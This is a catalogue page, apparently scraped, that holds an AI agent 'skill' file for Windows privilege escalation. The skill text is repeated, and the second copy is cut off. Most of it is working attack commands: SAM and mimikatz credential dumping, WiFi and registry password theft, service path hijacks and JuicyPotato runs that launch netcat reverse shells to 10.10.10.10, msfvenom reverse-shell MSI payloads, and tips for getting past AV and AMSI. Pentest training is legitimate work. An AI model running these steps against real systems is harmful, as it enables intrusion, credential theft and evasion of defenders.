[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFWHM3KSQGJHKWHVAAG2CX":3,"skill-same:01M6AFWHM3KSQGJHKWHVAAG2CX":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":41,"linkOnly":42,"markdownContent":43,"markdownBody":44,"frontMatter":45,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":54,"ownerHtmlUrl":55,"ownerBlogUrl":56,"ownerDescription":57,"updatedAt":58,"install":59,"resources":72},"01M6AFWHM3KSQGJHKWHVAAG2CX","Windows Privilege Escalation",null,"This skill should be used when the user asks to \"escalate privileges on Windows,\" \"find Windows privesc vectors,\" \"enumerate Windows for privilege escalation,\" \"exploit Windows misconfigurations,\" or \"perform post-exploitation privilege escalation.\" It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33481,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwindows-privilege-escalation\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,5,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],"windows","escalation","privilege escalation","when","vulnerabilities","for","environments","it","escalate","post","vectors","guidance","exploit","user","find","exploitation","post-exploitation","2026-11-10 10:12:30",false,"---\nname: Windows Privilege Escalation\ndescription: This skill should be used when the user asks to \"escalate privileges on Windows,\" \"find Windows privesc vectors,\" \"enumerate Windows for privilege escalation,\" \"exploit Windows misconfigurations,\" or \"perform post-exploitation privilege escalation.\" It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Windows Privilege Escalation\n\n## Purpose\n\nProvide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.\n\n## Inputs \u002F Prerequisites\n\n- **Initial Access**: Shell or RDP access as standard user on Windows system\n- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands\n- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools\n- **Knowledge**: Understanding of Windows security model and privileges\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Privilege Escalation Path**: Identified vector to higher privileges\n- **Credential Dump**: Harvested passwords, hashes, or tokens\n- **Elevated Shell**: Command execution as Administrator or SYSTEM\n- **Vulnerability Report**: Documentation of misconfigurations and exploits\n- **Remediation Recommendations**: Fixes for identified weaknesses\n\n## Core Workflow\n\n### 1. System Enumeration\n\n#### Basic System Information\n```powershell\n# OS version and patches\nsysteminfo | findstr \u002FB \u002FC:\"OS Name\" \u002FC:\"OS Version\"\nwmic qfe\n\n# Architecture\nwmic os get osarchitecture\necho %PROCESSOR_ARCHITECTURE%\n\n# Environment variables\nset\nGet-ChildItem Env: | ft Key,Value\n\n# List drives\nwmic logicaldisk get caption,description,providername\n```\n\n#### User Enumeration\n```powershell\n# Current user\nwhoami\necho %USERNAME%\n\n# User privileges\nwhoami \u002Fpriv\nwhoami \u002Fgroups\nwhoami \u002Fall\n\n# All users\nnet user\nGet-LocalUser | ft Name,Enabled,LastLogon\n\n# User details\nnet user administrator\nnet user %USERNAME%\n\n# Local groups\nnet localgroup\nnet localgroup administrators\nGet-LocalGroupMember Administrators | ft Name,PrincipalSource\n```\n\n#### Network Enumeration\n```powershell\n# Network interfaces\nipconfig \u002Fall\nGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address\n\n# Routing table\nroute print\nGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric\n\n# ARP table\narp -A\n\n# Active connections\nnetstat -ano\n\n# Network shares\nnet share\n\n# Domain Controllers\nnltest \u002FDCLIST:DomainName\n```\n\n#### Antivirus Enumeration\n```powershell\n# Check AV products\nWMIC \u002FNode:localhost \u002FNamespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName\n```\n\n### 2. Credential Harvesting\n\n#### SAM and SYSTEM Files\n```powershell\n# SAM file locations\n%SYSTEMROOT%\\repair\\SAM\n%SYSTEMROOT%\\System32\\config\\RegBack\\SAM\n%SYSTEMROOT%\\System32\\config\\SAM\n\n# SYSTEM file locations\n%SYSTEMROOT%\\repair\\system\n%SYSTEMROOT%\\System32\\config\\SYSTEM\n%SYSTEMROOT%\\System32\\config\\RegBack\\system\n\n# Extract hashes (from Linux after obtaining files)\npwdump SYSTEM SAM > sam.txt\nsamdump2 SYSTEM SAM -o sam.txt\n\n# Crack with John\njohn --format=NT sam.txt\n```\n\n#### HiveNightmare (CVE-2021-36934)\n```powershell\n# Check vulnerability\nicacls C:\\Windows\\System32\\config\\SAM\n# Vulnerable if: BUILTIN\\Users:(I)(RX)\n\n# Exploit with mimikatz\nmimikatz> token::whoami \u002Ffull\nmimikatz> misc::shadowcopies\nmimikatz> lsadump::sam \u002Fsystem:\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM \u002Fsam:\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM\n```\n\n#### Search for Passwords\n```powershell\n# Search file contents\nfindstr \u002FSI \u002FM \"password\" *.xml *.ini *.txt\nfindstr \u002Fsi password *.xml *.ini *.txt *.config\n\n# Search registry\nreg query HKLM \u002Ff password \u002Ft REG_SZ \u002Fs\nreg query HKCU \u002Ff password \u002Ft REG_SZ \u002Fs\n\n# Windows Autologin credentials\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon\" 2>nul | findstr \"DefaultUserName DefaultDomainName DefaultPassword\"\n\n# PuTTY sessions\nreg query \"HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\"\n\n# VNC passwords\nreg query \"HKCU\\Software\\ORL\\WinVNC3\\Password\"\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4 \u002Fv password\n\n# Search for specific files\ndir \u002FS \u002FB *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*\nwhere \u002FR C:\\ *.ini\n```\n\n#### Unattend.xml Credentials\n```powershell\n# Common locations\nC:\\unattend.xml\nC:\\Windows\\Panther\\Unattend.xml\nC:\\Windows\\Panther\\Unattend\\Unattend.xml\nC:\\Windows\\system32\\sysprep.inf\nC:\\Windows\\system32\\sysprep\\sysprep.xml\n\n# Search for files\ndir \u002Fs *sysprep.inf *sysprep.xml *unattend.xml 2>nul\n\n# Decode base64 password (Linux)\necho \"U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=\" | base64 -d\n```\n\n#### WiFi Passwords\n```powershell\n# List profiles\nnetsh wlan show profile\n\n# Get cleartext password\nnetsh wlan show profile \u003CSSID> key=clear\n\n# Extract all WiFi passwords\nfor \u002Ff \"tokens=4 delims=: \" %a in ('netsh wlan show profiles ^| find \"Profile \"') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr \"SSID Cipher Key\" | find \u002Fv \"Number\" & echo.) & @echo on\n```\n\n#### PowerShell History\n```powershell\n# View PowerShell history\ntype %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\ncat (Get-PSReadlineOption).HistorySavePath\ncat (Get-PSReadlineOption).HistorySavePath | sls passw\n```\n\n### 3. Service Exploitation\n\n#### Incorrect Service Permissions\n```powershell\n# Find misconfigured services\naccesschk.exe -uwcqv \"Authenticated Users\" * \u002Faccepteula\naccesschk.exe -uwcqv \"Everyone\" * \u002Faccepteula\naccesschk.exe -ucqv \u003Cservice_name>\n\n# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG\n\n# Exploit vulnerable service\nsc config \u003Cservice> binpath= \"C:\\nc.exe -e cmd.exe 10.10.10.10 4444\"\nsc stop \u003Cservice>\nsc start \u003Cservice>\n```\n\n#### Unquoted Service Paths\n```powershell\n# Find unquoted paths\nwmic service get name,displayname,pathname,startmode | findstr \u002Fi \"Auto\" | findstr \u002Fi \u002Fv \"C:\\Windows\\\\\"\nwmic service get name,displayname,startmode,pathname | findstr \u002Fi \u002Fv \"C:\\Windows\\\\\" | findstr \u002Fi \u002Fv \"\"\"\n\n# Exploit: Place malicious exe in path\n# For path: C:\\Program Files\\Some App\\service.exe\n# Try: C:\\Program.exe or C:\\Program Files\\Some.exe\n```\n\n#### AlwaysInstallElevated\n```powershell\n# Check if enabled\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\n\n# Both must return 0x1 for vulnerability\n\n# Create malicious MSI\nmsfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi\n\n# Install (runs as SYSTEM)\nmsiexec \u002Fquiet \u002Fqn \u002Fi C:\\evil.msi\n```\n\n### 4. Token Impersonation\n\n#### Check Impersonation Privileges\n```powershell\n# Look for these privileges\nwhoami \u002Fpriv\n\n# Exploitable privileges:\n# SeImpersonatePrivilege\n# SeAssignPrimaryTokenPrivilege\n# SeTcbPrivilege\n# SeBackupPrivilege\n# SeRestorePrivilege\n# SeCreateTokenPrivilege\n# SeLoadDriverPrivilege\n# SeTakeOwnershipPrivilege\n# SeDebugPrivilege\n```\n\n#### Potato Attacks\n```powershell\n# JuicyPotato (Windows Server 2019 and below)\nJuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a \"\u002Fc c:\\tools\\nc.exe 10.10.10.10 4444 -e cmd.exe\" -t *\n\n# PrintSpoofer (Windows 10 and Server 2019)\nPrintSpoofer.exe -i -c cmd\n\n# RoguePotato\nRoguePotato.exe -r 10.10.10.10 -e \"C:\\nc.exe 10.10.10.10 4444 -e cmd.exe\" -l 9999\n\n# GodPotato\nGodPotato.exe -cmd \"cmd \u002Fc whoami\"\n```\n\n### 5. Kernel Exploitation\n\n#### Find Kernel Vulnerabilities\n```powershell\n# Use Windows Exploit Suggester\nsysteminfo > systeminfo.txt\npython wes.py systeminfo.txt\n\n# Or use Watson (on target)\nWatson.exe\n\n# Or use Sherlock PowerShell script\npowershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1\n```\n\n#### Common Kernel Exploits\n```\nMS17-010 (EternalBlue) - Windows 7\u002F2008\u002F2003\u002FXP\nMS16-032 - Secondary Logon Handle - 2008\u002F7\u002F8\u002F10\u002F2012\nMS15-051 - Client Copy Image - 2003\u002F2008\u002F7\nMS14-058 - TrackPopupMenu - 2003\u002F2008\u002F7\u002F8.1\nMS11-080 - afd.sys - XP\u002F2003\nMS10-015 - KiTrap0D - 2003\u002FXP\u002F2000\nMS08-067 - NetAPI - 2000\u002FXP\u002F2003\nCVE-2021-1732 - Win32k - Windows 10\u002FServer 2019\nCVE-2020-0796 - SMBGhost - Windows 10\nCVE-2019-1388 - UAC Bypass - Windows 7\u002F8\u002F10\u002F2008\u002F2012\u002F2016\u002F2019\n```\n\n### 6. Additional Techniques\n\n#### DLL Hijacking\n```powershell\n# Find missing DLLs with Process Monitor\n# Filter: Result = NAME NOT FOUND, Path ends with .dll\n\n# Compile malicious DLL\n# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll\n# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll\n```\n\n#### Runas with Saved Credentials\n```powershell\n# List saved credentials\ncmdkey \u002Flist\n\n# Use saved credentials\nrunas \u002Fsavecred \u002Fuser:Administrator \"cmd.exe \u002Fk whoami\"\nrunas \u002Fsavecred \u002Fuser:WORKGROUP\\Administrator \"\\\\10.10.10.10\\share\\evil.exe\"\n```\n\n#### WSL Exploitation\n```powershell\n# Check for WSL\nwsl whoami\n\n# Set root as default user\nwsl --default-user root\n# Or: ubuntu.exe config --default-user root\n\n# Spawn shell as root\nwsl whoami\nwsl python -c 'import os; os.system(\"\u002Fbin\u002Fbash\")'\n```\n\n## Quick Reference\n\n### Enumeration Tools\n\n| Tool | Command | Purpose |\n|------|---------|---------|\n| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |\n| PowerUp | `Invoke-AllChecks` | Service\u002Fpath vulnerabilities |\n| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |\n| Watson | `Watson.exe` | Missing patches |\n| JAWS | `.\\jaws-enum.ps1` | Legacy Windows enum |\n| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |\n\n### Default Writable Folders\n\n```\nC:\\Windows\\Temp\nC:\\Windows\\Tasks\nC:\\Users\\Public\nC:\\Windows\\tracing\nC:\\Windows\\System32\\spool\\drivers\\color\nC:\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys\n```\n\n### Common Privilege Escalation Vectors\n\n| Vector | Check Command |\n|--------|---------------|\n| Unquoted paths | `wmic service get pathname \\| findstr \u002Fi \u002Fv \"\"\"` |\n| Weak service perms | `accesschk.exe -uwcqv \"Everyone\" *` |\n| AlwaysInstallElevated | `reg query HKCU\\...\\Installer \u002Fv AlwaysInstallElevated` |\n| Stored credentials | `cmdkey \u002Flist` |\n| Token privileges | `whoami \u002Fpriv` |\n| Scheduled tasks | `schtasks \u002Fquery \u002Ffo LIST \u002Fv` |\n\n### Impersonation Privilege Exploits\n\n| Privilege | Tool | Usage |\n|-----------|------|-------|\n| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |\n| SeImpersonatePrivilege | PrintSpoofer | Spooler service |\n| SeImpersonatePrivilege | RoguePotato | OXID resolver |\n| SeBackupPrivilege | robocopy \u002Fb | Read protected files |\n| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |\n| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Kernel exploits may cause system instability\n- Some exploits require specific Windows versions\n- AV\u002FEDR may detect and block common tools\n- Token impersonation requires service account context\n- Some techniques require GUI access\n\n### Detection Considerations\n- Credential dumping triggers security alerts\n- Service modification logged in Event Logs\n- PowerShell execution may be monitored\n- Known exploit signatures detected by AV\n\n### Legal Requirements\n- Only test systems with written authorization\n- Document all escalation attempts\n- Avoid disrupting production systems\n- Report all findings through proper channels\n\n## Examples\n\n### Example 1: Service Binary Path Exploitation\n```powershell\n# Find vulnerable service\naccesschk.exe -uwcqv \"Authenticated Users\" * \u002Faccepteula\n# Result: RW MyService SERVICE_ALL_ACCESS\n\n# Check current config\nsc qc MyService\n\n# Stop service and change binary path\nsc stop MyService\nsc config MyService binpath= \"C:\\Users\\Public\\nc.exe 10.10.10.10 4444 -e cmd.exe\"\nsc start MyService\n\n# Catch shell as SYSTEM\n```\n\n### Example 2: AlwaysInstallElevated Exploitation\n```powershell\n# Verify vulnerability\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\n# Both return: 0x1\n\n# Generate payload (attacker machine)\nmsfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi\n\n# Transfer and execute\nmsiexec \u002Fquiet \u002Fqn \u002Fi C:\\Users\\Public\\shell.msi\n\n# Catch SYSTEM shell\n```\n\n### Example 3: JuicyPotato Token Impersonation\n```powershell\n# Verify SeImpersonatePrivilege\nwhoami \u002Fpriv\n# SeImpersonatePrivilege Enabled\n\n# Run JuicyPotato\nJuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a \"\u002Fc c:\\users\\public\\nc.exe 10.10.10.10 4444 -e cmd.exe\" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}\n\n# Catch SYSTEM shell\n```\n\n### Example 4: Unquoted Service Path\n```powershell\n# Find unquoted path\nwmic service get name,pathname | findstr \u002Fi \u002Fv \"\"\"\n# Result: C:\\Program Files\\Vuln App\\service.exe\n\n# Check write permissions\nicacls \"C:\\Program Files\\Vuln App\"\n# Result: Users:(W)\n\n# Place malicious binary\ncopy C:\\Users\\Public\\shell.exe \"C:\\Program Files\\Vuln.exe\"\n\n# Restart service\nsc stop \"Vuln App\"\nsc start \"Vuln App\"\n```\n\n### Example 5: Credential Harvesting from Registry\n```powershell\n# Check for auto-logon credentials\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon\"\n# DefaultUserName: Administrator\n# DefaultPassword: P@ssw0rd123\n\n# Use credentials\nrunas \u002Fuser:Administrator cmd.exe\n# Or for remote: psexec \\\\target -u Administrator -p P@ssw0rd123 cmd\n```\n\n## Troubleshooting\n\n| Issue | Cause | Solution |\n|-------|-------|----------|\n| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |\n| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= \"C:\\path\\binary.exe\"` |\n| Token impersonation fails | Wrong privilege\u002Fversion | Check `whoami \u002Fpriv`; verify Windows version compatibility |\n| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |\n| PowerShell blocked | Execution policy\u002FAMSI | Use `powershell -ep bypass -c \"cmd\"` or `-enc \u003Cbase64>` |\n","# Windows Privilege Escalation\n\n## Purpose\n\nProvide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.\n\n## Inputs \u002F Prerequisites\n\n- **Initial Access**: Shell or RDP access as standard user on Windows system\n- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands\n- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools\n- **Knowledge**: Understanding of Windows security model and privileges\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Privilege Escalation Path**: Identified vector to higher privileges\n- **Credential Dump**: Harvested passwords, hashes, or tokens\n- **Elevated Shell**: Command execution as Administrator or SYSTEM\n- **Vulnerability Report**: Documentation of misconfigurations and exploits\n- **Remediation Recommendations**: Fixes for identified weaknesses\n\n## Core Workflow\n\n### 1. System Enumeration\n\n#### Basic System Information\n```powershell\n# OS version and patches\nsysteminfo | findstr \u002FB \u002FC:\"OS Name\" \u002FC:\"OS Version\"\nwmic qfe\n\n# Architecture\nwmic os get osarchitecture\necho %PROCESSOR_ARCHITECTURE%\n\n# Environment variables\nset\nGet-ChildItem Env: | ft Key,Value\n\n# List drives\nwmic logicaldisk get caption,description,providername\n```\n\n#### User Enumeration\n```powershell\n# Current user\nwhoami\necho %USERNAME%\n\n# User privileges\nwhoami \u002Fpriv\nwhoami \u002Fgroups\nwhoami \u002Fall\n\n# All users\nnet user\nGet-LocalUser | ft Name,Enabled,LastLogon\n\n# User details\nnet user administrator\nnet user %USERNAME%\n\n# Local groups\nnet localgroup\nnet localgroup administrators\nGet-LocalGroupMember Administrators | ft Name,PrincipalSource\n```\n\n#### Network Enumeration\n```powershell\n# Network interfaces\nipconfig \u002Fall\nGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address\n\n# Routing table\nroute print\nGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric\n\n# ARP table\narp -A\n\n# Active connections\nnetstat -ano\n\n# Network shares\nnet share\n\n# Domain Controllers\nnltest \u002FDCLIST:DomainName\n```\n\n#### Antivirus Enumeration\n```powershell\n# Check AV products\nWMIC \u002FNode:localhost \u002FNamespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName\n```\n\n### 2. Credential Harvesting\n\n#### SAM and SYSTEM Files\n```powershell\n# SAM file locations\n%SYSTEMROOT%\\repair\\SAM\n%SYSTEMROOT%\\System32\\config\\RegBack\\SAM\n%SYSTEMROOT%\\System32\\config\\SAM\n\n# SYSTEM file locations\n%SYSTEMROOT%\\repair\\system\n%SYSTEMROOT%\\System32\\config\\SYSTEM\n%SYSTEMROOT%\\System32\\config\\RegBack\\system\n\n# Extract hashes (from Linux after obtaining files)\npwdump SYSTEM SAM > sam.txt\nsamdump2 SYSTEM SAM -o sam.txt\n\n# Crack with John\njohn --format=NT sam.txt\n```\n\n#### HiveNightmare (CVE-2021-36934)\n```powershell\n# Check vulnerability\nicacls C:\\Windows\\System32\\config\\SAM\n# Vulnerable if: BUILTIN\\Users:(I)(RX)\n\n# Exploit with mimikatz\nmimikatz> token::whoami \u002Ffull\nmimikatz> misc::shadowcopies\nmimikatz> lsadump::sam \u002Fsystem:\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM \u002Fsam:\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM\n```\n\n#### Search for Passwords\n```powershell\n# Search file contents\nfindstr \u002FSI \u002FM \"password\" *.xml *.ini *.txt\nfindstr \u002Fsi password *.xml *.ini *.txt *.config\n\n# Search registry\nreg query HKLM \u002Ff password \u002Ft REG_SZ \u002Fs\nreg query HKCU \u002Ff password \u002Ft REG_SZ \u002Fs\n\n# Windows Autologin credentials\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon\" 2>nul | findstr \"DefaultUserName DefaultDomainName DefaultPassword\"\n\n# PuTTY sessions\nreg query \"HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\"\n\n# VNC passwords\nreg query \"HKCU\\Software\\ORL\\WinVNC3\\Password\"\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4 \u002Fv password\n\n# Search for specific files\ndir \u002FS \u002FB *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*\nwhere \u002FR C:\\ *.ini\n```\n\n#### Unattend.xml Credentials\n```powershell\n# Common locations\nC:\\unattend.xml\nC:\\Windows\\Panther\\Unattend.xml\nC:\\Windows\\Panther\\Unattend\\Unattend.xml\nC:\\Windows\\system32\\sysprep.inf\nC:\\Windows\\system32\\sysprep\\sysprep.xml\n\n# Search for files\ndir \u002Fs *sysprep.inf *sysprep.xml *unattend.xml 2>nul\n\n# Decode base64 password (Linux)\necho \"U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=\" | base64 -d\n```\n\n#### WiFi Passwords\n```powershell\n# List profiles\nnetsh wlan show profile\n\n# Get cleartext password\nnetsh wlan show profile \u003CSSID> key=clear\n\n# Extract all WiFi passwords\nfor \u002Ff \"tokens=4 delims=: \" %a in ('netsh wlan show profiles ^| find \"Profile \"') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr \"SSID Cipher Key\" | find \u002Fv \"Number\" & echo.) & @echo on\n```\n\n#### PowerShell History\n```powershell\n# View PowerShell history\ntype %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\ncat (Get-PSReadlineOption).HistorySavePath\ncat (Get-PSReadlineOption).HistorySavePath | sls passw\n```\n\n### 3. Service Exploitation\n\n#### Incorrect Service Permissions\n```powershell\n# Find misconfigured services\naccesschk.exe -uwcqv \"Authenticated Users\" * \u002Faccepteula\naccesschk.exe -uwcqv \"Everyone\" * \u002Faccepteula\naccesschk.exe -ucqv \u003Cservice_name>\n\n# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG\n\n# Exploit vulnerable service\nsc config \u003Cservice> binpath= \"C:\\nc.exe -e cmd.exe 10.10.10.10 4444\"\nsc stop \u003Cservice>\nsc start \u003Cservice>\n```\n\n#### Unquoted Service Paths\n```powershell\n# Find unquoted paths\nwmic service get name,displayname,pathname,startmode | findstr \u002Fi \"Auto\" | findstr \u002Fi \u002Fv \"C:\\Windows\\\\\"\nwmic service get name,displayname,startmode,pathname | findstr \u002Fi \u002Fv \"C:\\Windows\\\\\" | findstr \u002Fi \u002Fv \"\"\"\n\n# Exploit: Place malicious exe in path\n# For path: C:\\Program Files\\Some App\\service.exe\n# Try: C:\\Program.exe or C:\\Program Files\\Some.exe\n```\n\n#### AlwaysInstallElevated\n```powershell\n# Check if enabled\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\n\n# Both must return 0x1 for vulnerability\n\n# Create malicious MSI\nmsfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi\n\n# Install (runs as SYSTEM)\nmsiexec \u002Fquiet \u002Fqn \u002Fi C:\\evil.msi\n```\n\n### 4. Token Impersonation\n\n#### Check Impersonation Privileges\n```powershell\n# Look for these privileges\nwhoami \u002Fpriv\n\n# Exploitable privileges:\n# SeImpersonatePrivilege\n# SeAssignPrimaryTokenPrivilege\n# SeTcbPrivilege\n# SeBackupPrivilege\n# SeRestorePrivilege\n# SeCreateTokenPrivilege\n# SeLoadDriverPrivilege\n# SeTakeOwnershipPrivilege\n# SeDebugPrivilege\n```\n\n#### Potato Attacks\n```powershell\n# JuicyPotato (Windows Server 2019 and below)\nJuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a \"\u002Fc c:\\tools\\nc.exe 10.10.10.10 4444 -e cmd.exe\" -t *\n\n# PrintSpoofer (Windows 10 and Server 2019)\nPrintSpoofer.exe -i -c cmd\n\n# RoguePotato\nRoguePotato.exe -r 10.10.10.10 -e \"C:\\nc.exe 10.10.10.10 4444 -e cmd.exe\" -l 9999\n\n# GodPotato\nGodPotato.exe -cmd \"cmd \u002Fc whoami\"\n```\n\n### 5. Kernel Exploitation\n\n#### Find Kernel Vulnerabilities\n```powershell\n# Use Windows Exploit Suggester\nsysteminfo > systeminfo.txt\npython wes.py systeminfo.txt\n\n# Or use Watson (on target)\nWatson.exe\n\n# Or use Sherlock PowerShell script\npowershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1\n```\n\n#### Common Kernel Exploits\n```\nMS17-010 (EternalBlue) - Windows 7\u002F2008\u002F2003\u002FXP\nMS16-032 - Secondary Logon Handle - 2008\u002F7\u002F8\u002F10\u002F2012\nMS15-051 - Client Copy Image - 2003\u002F2008\u002F7\nMS14-058 - TrackPopupMenu - 2003\u002F2008\u002F7\u002F8.1\nMS11-080 - afd.sys - XP\u002F2003\nMS10-015 - KiTrap0D - 2003\u002FXP\u002F2000\nMS08-067 - NetAPI - 2000\u002FXP\u002F2003\nCVE-2021-1732 - Win32k - Windows 10\u002FServer 2019\nCVE-2020-0796 - SMBGhost - Windows 10\nCVE-2019-1388 - UAC Bypass - Windows 7\u002F8\u002F10\u002F2008\u002F2012\u002F2016\u002F2019\n```\n\n### 6. Additional Techniques\n\n#### DLL Hijacking\n```powershell\n# Find missing DLLs with Process Monitor\n# Filter: Result = NAME NOT FOUND, Path ends with .dll\n\n# Compile malicious DLL\n# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll\n# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll\n```\n\n#### Runas with Saved Credentials\n```powershell\n# List saved credentials\ncmdkey \u002Flist\n\n# Use saved credentials\nrunas \u002Fsavecred \u002Fuser:Administrator \"cmd.exe \u002Fk whoami\"\nrunas \u002Fsavecred \u002Fuser:WORKGROUP\\Administrator \"\\\\10.10.10.10\\share\\evil.exe\"\n```\n\n#### WSL Exploitation\n```powershell\n# Check for WSL\nwsl whoami\n\n# Set root as default user\nwsl --default-user root\n# Or: ubuntu.exe config --default-user root\n\n# Spawn shell as root\nwsl whoami\nwsl python -c 'import os; os.system(\"\u002Fbin\u002Fbash\")'\n```\n\n## Quick Reference\n\n### Enumeration Tools\n\n| Tool | Command | Purpose |\n|------|---------|---------|\n| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |\n| PowerUp | `Invoke-AllChecks` | Service\u002Fpath vulnerabilities |\n| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |\n| Watson | `Watson.exe` | Missing patches |\n| JAWS | `.\\jaws-enum.ps1` | Legacy Windows enum |\n| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |\n\n### Default Writable Folders\n\n```\nC:\\Windows\\Temp\nC:\\Windows\\Tasks\nC:\\Users\\Public\nC:\\Windows\\tracing\nC:\\Windows\\System32\\spool\\drivers\\color\nC:\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys\n```\n\n### Common Privilege Escalation Vectors\n\n| Vector | Check Command |\n|--------|---------------|\n| Unquoted paths | `wmic service get pathname \\| findstr \u002Fi 